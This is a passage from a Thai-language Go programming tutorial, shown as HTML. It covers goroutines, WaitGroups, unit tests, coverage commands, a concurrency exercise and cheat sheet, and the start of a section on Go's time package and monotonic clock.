            t.Errorf(&quot;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE21;&#xE32;&#xE01;&#xE40;&#xE01;&#xE34;&#xE19;&#xE44;&#xE1B; &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; &lt; 5 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;, &#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A; %v&quot;, duration)
        }
    })
}</code></pre><p>&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C; &#xE41;&#xE25;&#xE30; Folder &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>myproject/
&#x251C;&#x2500;&#x2500; cmd
&#x2514;&#x2500;&#x2500; internal
    &#x2514;&#x2500;&#x2500; cooking
        &#x251C;&#x2500;&#x2500; cookmeals.go
        &#x2514;&#x2500;&#x2500; cookmeals_test.go</code></pre><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE44;&#xE1F;&#xE25;&#xE4C;&#x200B; go.mod &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go mod init myproject</p><pre><code>go mod init myproject</code></pre><p>&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test ./...</p><pre><code>go test ./...</code></pre><p>&#xE14;&#xE39; % &#xE02;&#xE2D;&#xE07; Coverage &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go test -cover</p><pre><code>go test -cover ./...</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-10.08.43-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-06-at-10.08.43-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-06-at-10.08.43-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-06-at-10.08.43-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-06-at-10.08.43-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE23;&#xE31;&#xE19; Unit Test &#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Package &quot;cooking&quot; &#xE43;&#xE19; main.go &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// main.go
package main

import (
    &quot;fmt&quot;
    &quot;sync&quot;
    &quot;time&quot;

    &quot;myproject/internal/cooking&quot;
)

func main() {
    fmt.Println(&quot;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&quot;)

    var wg sync.WaitGroup
    wg.Add(2)

    start := time.Now()

    go cooking.PrepareDish(&quot;&#xE1C;&#xE31;&#xE14;&#xE01;&#xE30;&#xE40;&#xE1E;&#xE23;&#xE32;&quot;, 2*time.Second, &amp;wg)
    go cooking.PrepareDish(&quot;&#xE15;&#xE49;&#xE21;&#xE22;&#xE33;&#xE01;&#xE38;&#xE49;&#xE07;&quot;, 3*time.Second, &amp;wg)

    wg.Wait()

    duration := time.Since(start)

    fmt.Printf(&quot;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19; &#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;: %.2f &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;\n&quot;, duration.Seconds())
}</code></pre><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE30;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go

./main </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-06-at-10.14.25-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1177" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-06-at-10.14.25-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-06-at-10.14.25-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-06-at-10.14.25-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-06-at-10.14.25-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="exercise-1"><em><em><em><em>Exercise</em></em></em></em></h3><p>&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE08;&#xE33;&#xE25;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE41;&#xE02;&#xE48;&#xE07;&#xE02;&#xE31;&#xE19;&#xE19;&#xE31;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; &quot;&#xE04;&#xE38;&#xE13;&quot; &#xE41;&#xE25;&#xE30; &quot;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&quot; &#xE42;&#xE14;&#xE22;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE19;&#xE08;&#xE30;&#xE19;&#xE31;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE17;&#xE35;&#xE48;&#xE2B;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22; 3 &#xE25;&#xE07;&#xE15;&#xE31;&#xE27;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48; 1 &#xE16;&#xE36;&#xE07; 30</p><p>&#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 3
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 3
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 6
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 6
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 9
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 9
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 12
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 12
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 15
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 15
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 18
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 18
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 21
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 21
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 24
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 24
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 27
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 27
&#xE04;&#xE38;&#xE13; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 30
&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19; &#xE1E;&#xE1A;&#xE40;&#xE25;&#xE02;&#xE21;&#xE07;&#xE04;&#xE25;: 30
&#xE41;&#xE02;&#xE48;&#xE07;&#xE02;&#xE31;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19; &#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;: 3.01 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;</code></pre><p><em><a href="https://forms.gle/vGnBLMgxJxh6kQ5v6?ref=blog.pjjop.org"><em><em><em>Go Quiz </em></em>12</em></a><em><em><em> (</em></em>21<em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em>Q&amp;A?</em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%9E%E0%B8%A3%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%81%E0%B8%B1%E0%B8%99%E0%B8%AB%E0%B8%A5%E0%B8%B2%E0%B8%A2%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87"><em>&#xE23;&#xE27;&#xE21; Cheat Sheet &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;</em></h3><pre><code>&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;
-------------------

1. Goroutine
   go functionName()

2. Channel
   ch := make(chan int) // &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Channel
   ch &lt;- value  // &#xE2A;&#xE48;&#xE07;&#xE04;&#xE48;&#xE32;
   value := &lt;-ch  // &#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;
   close(ch)  // &#xE1B;&#xE34;&#xE14; channel

3. WaitGroup
   var wg sync.WaitGroup
   wg.Add(n)  // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; goroutines &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;
   wg.Done()  // &#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; goroutine &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;
   wg.Wait()  // &#xE23;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE38;&#xE01; goroutine &#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;

4. &#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE23;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;
   - &#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE43;&#xE0A;&#xE49; channel &#xE2B;&#xE23;&#xE37;&#xE2D; sync.WaitGroup &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE23;&#xE30;&#xE21;&#xE31;&#xE14;&#xE23;&#xE30;&#xE27;&#xE31;&#xE07;</code></pre><h2 id="time-package-%E0%B9%81%E0%B8%A5%E0%B8%B0-context-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%9A%E0%B8%A3%E0%B8%B4%E0%B8%9A%E0%B8%97"><strong>Time Package &#xE41;&#xE25;&#xE30; Context : &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE1A;&#xE23;&#xE34;&#xE1A;&#xE17;</strong></h2><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE1A;&#xE23;&#xE34;&#xE1A;&#xE17; (Context) &#xE43;&#xE19; Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE1A;&#xE04;&#xE38;&#xE21;&#xE44;&#xE14;&#xE49;</p><p><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE40;&#xE27;&#xE25;&#xE32;</strong></p><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; E-commerce Platform &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE21;&#xE32;&#xE01; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE04;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE41;&#xE08;&#xE49;&#xE07;&#xE40;&#xE15;&#xE37;&#xE2D;&#xE19; &#xE2F;&#xE25;&#xE2F;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-07-11-at-6.10.31-AM.png" class="kg-image" alt loading="lazy" width="1390" height="1230" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-07-11-at-6.10.31-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-07-11-at-6.10.31-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-07-11-at-6.10.31-AM.png 1390w" sizes="(min-width: 720px) 720px"><figcaption>https://colin-scott.github.io/personal_website/research/interactive_latency.html</figcaption></figure><p>Go &#xE21;&#xE35; Package &quot;<strong>time</strong>&quot; &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32; &#xE42;&#xE14;&#xE22;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Function &quot;time.Now()&quot; &#xE21;&#xE31;&#xE19;&#xE08;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE27;&#xE25;&#xE32;&#xE15;&#xE32;&#xE21; Timezone &#xE17;&#xE49;&#xE2D;&#xE07;&#xE16;&#xE34;&#xE48;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>time.Time</strong> &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Type &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE27;&#xE25;&#xE32;&#xE15;&#xE32;&#xE21;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE02;&#xE2D;&#xE07; Golang &#xE40;&#xE2D;&#xE07;</p><p>&#xE41;&#xE15;&#xE48;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE04;&#xE48;&#xE32;&#xE02;&#xE2D;&#xE07; time.Time &#xE2D;&#xE2D;&#xE01;&#xE21;&#xE32;&#xE17;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE08;&#xE2D; Go &#xE08;&#xE30;<strong>&#xE41;&#xE2A;&#xE14;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; String</strong> &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>now := time.Now()
fmt.Println(now) // 2024-08-07 08:26:41.419123 +0700 +07 m=+0.000271334</code></pre><p>&quot;<strong>2024-08-07</strong>&quot; &#xE04;&#xE37;&#xE2D; &#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; YYYY-MM-DD</p><p>&quot;<strong>08:26:41.419123</strong>&quot; &#xE04;&#xE37;&#xE2D; &#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; HH:MM:SS.nnnnnn</p><p>&quot;<strong>+0700</strong>&quot; &#xE04;&#xE37;&#xE2D; &#xE04;&#xE48;&#xE32; Offset &#xE02;&#xE2D;&#xE07; Timezone &#xE08;&#xE32;&#xE01; UTC</p><p>&quot;<strong>+07</strong>&quot; &#xE04;&#xE37;&#xE2D; &#xE15;&#xE31;&#xE27;&#xE22;&#xE48;&#xE2D;&#xE02;&#xE2D;&#xE07; Timezone</p><p>&quot;<strong>m=+0.000271334</strong>&quot; &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>Monotonic Clock</strong> &#xE04;&#xE37;&#xE2D; &#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE32;&#xE01;&#xE08;&#xE38;&#xE14;&#xE2D;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE07; (&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;) &#xE40;&#xE0A;&#xE48;&#xE19; &#xE23;&#xE30;&#xE22;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19; (System Boot Time) &#xE0B;&#xE36;&#xE48;&#xE07;<strong>&#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE27;&#xE31;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Benchmarking &#xE02;&#xE2D;&#xE07; Program</strong></p><pre><code>package main

import (
	&quot;fmt&quot;
	&quot;time&quot;
)

func main() {
	t1 := time.Now()
	fmt.Println(&quot;Time 1:&quot;, t1)

	time.Sleep(2 * time.Second)

	t2 := time.Now()
	fmt.Println(&quot;Time 2:&quot;, t2)

	fmt.Printf(&quot;Duration: %v\n&quot;, t2.Sub(t1))
}
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-10.31.19-AM.png" class="kg-image" alt loading="lazy" width="1592" height="102" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-07-at-10.31.19-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-07-at-10.31.19-AM.png 1000w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-07-at-10.31.19-AM.png 1592w" sizes="(min-width: 720px) 720px"></figure><p><strong>Go &#xE08;&#xE30;&#xE19;&#xE33;&#xE04;&#xE48;&#xE32; Monotonic Clock &#xE02;&#xE2D;&#xE07;&#xE40;&#xE27;&#xE25;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE38;&#xE14; t2 &#xE25;&#xE1A; &#xE14;&#xE49;&#xE27;&#xE22;&#xE08;&#xE38;&#xE14; t1 &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; t2.Sub(t1) &#xE14;&#xE31;&#xE07; Code &#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;</strong></p><p>&#xE42;&#xE14;&#xE22; <a href="https://go.dev/src/time/time.go?ref=blog.pjjop.org">time.Time</a> &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>type Time struct {
    wall uint64
    ext  int64
    loc *Location
}</code></pre><p><strong>wall</strong> &#xE40;&#xE1B;&#xE47;&#xE19; uint64 &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE27;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE25;&#xE30;&#xE40;&#xE27;&#xE25;&#xE32;<br><strong>ext</strong> &#xE40;&#xE1B;&#xE47;&#xE19; int64 &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE40;&#xE15;&#xE34;&#xE21; (&#xE19;&#xE32;&#xE42;&#xE19;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; &#xE42;&#xE14;&#xE22; 1 &#xE19;&#xE32;&#xE42;&#xE19;&#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35; = 0.000000001 &#xE27;&#xE34;&#xE19;&#xE32;&#xE17;&#xE35;)<br><strong>loc</strong> &#xE40;&#xE1B;&#xE47;&#xE19; Pointer &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Location struct &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; Timezone</p><blockquote>&#xE40;&#xE23;&#xE32;&#xE44;&#xE21;&#xE48;&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; time.Time &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE40;&#xE1E;&#xE23;&#xE32;&#xE30;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE02;&#xE2D;&#xE07; time.Time &#xE2D;&#xE32;&#xE08;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE43;&#xE19; Version &#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Code &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2D;&#xE32;&#xE08;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49; Program 